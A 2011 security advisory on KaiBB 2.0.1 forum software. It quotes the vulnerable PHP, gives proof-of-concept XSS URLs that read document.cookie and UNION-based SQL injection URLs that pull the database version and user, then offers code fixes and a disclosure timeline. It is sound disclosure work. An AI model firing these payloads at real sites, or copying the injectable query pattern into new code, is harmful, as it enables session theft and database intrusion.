SSCHADV2011-027 - KaiBB 2.0.1 XSS and SQL Injection vulnerabilities

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Posted by Stefan Schurtz on Saturday, October 8. 2011

Advisory:	KaiBB 2.0.1 XSS and SQL Injection vulnerabilities
Advisory ID:	SSCHADV2011-027
Author:	Stefan Schurtz
Affected Software:	Successfully tested on KaiBB 2.0.1
Vendor URL:	http://code.google.com/p/kaibb/
Vendor Status:	informed
CVE-ID:	-

======================
Vulnerability Description:
======================

KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities

==============
Technical Details:
==============

# sql injection vul code in ‘kaibb/rss.php’

if ( isset($_GET[‘forum’]))
{
      $id = $secure->clean($_GET[‘forum’]);
      $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘".$_GET[‘forum’]."’ ORDER BY id DESC LIMIT 15");
} else {
      $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15");
}

# inc/function.php

class secure {

            function clean($content) {

                    $content =  mysql_real_escape_string(htmlspecialchars($content));

                    return $content;

            }

# xss vul code in ‘inc/header.php’

$session_location = $_SERVER[‘REQUEST_URI’];

==============
Exploit
==============

Cross-site Scripting

http://<target>/kaibb/?’</script><script>alert(document.cookie)</script>
http://<target>/kaibb/index.php?’</script><script>alert(document.cookie)</script>

SQL Injection

http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a
http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a
http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a

=====
Solution:
=====

# solution for the sql injection

if ( isset($_GET[‘forum’]))

                {

                   $id = $secure->clean($_GET[‘forum’]);

                   //$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘".$_GET[‘forum’]."’ ORDER BY id DESC LIMIT 15");

                   $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘". $id ."’ ORDER BY id DESC LIMIT 15");

                } else {

            $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15");

            }

# solution for the xss vulnerability

//$session_location = $_SERVER[‘REQUEST_URI’];
$session_location = $_SERVER[‘SCRIPT_NAME’];

or

$session_location = htmlspecialchars($_SERVER[‘REQUEST_URI’],ENT_QUOTES);

================
Disclosure Timeline:
================

08-Oct-2011 – informed developers

08-Oct-2011 – release date of this security advisory

09-Oct-2011 – post on BugTraq

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://code.google.com/p/kaibb/
http://code.google.com/p/kaibb/issues/detail?id=2

http://www.securityfocus.com/bid/50029

http://www.exploit-db.com/exploits/17952
http://www.rul3z.de/advisories/SSCHADV2011-027.txt

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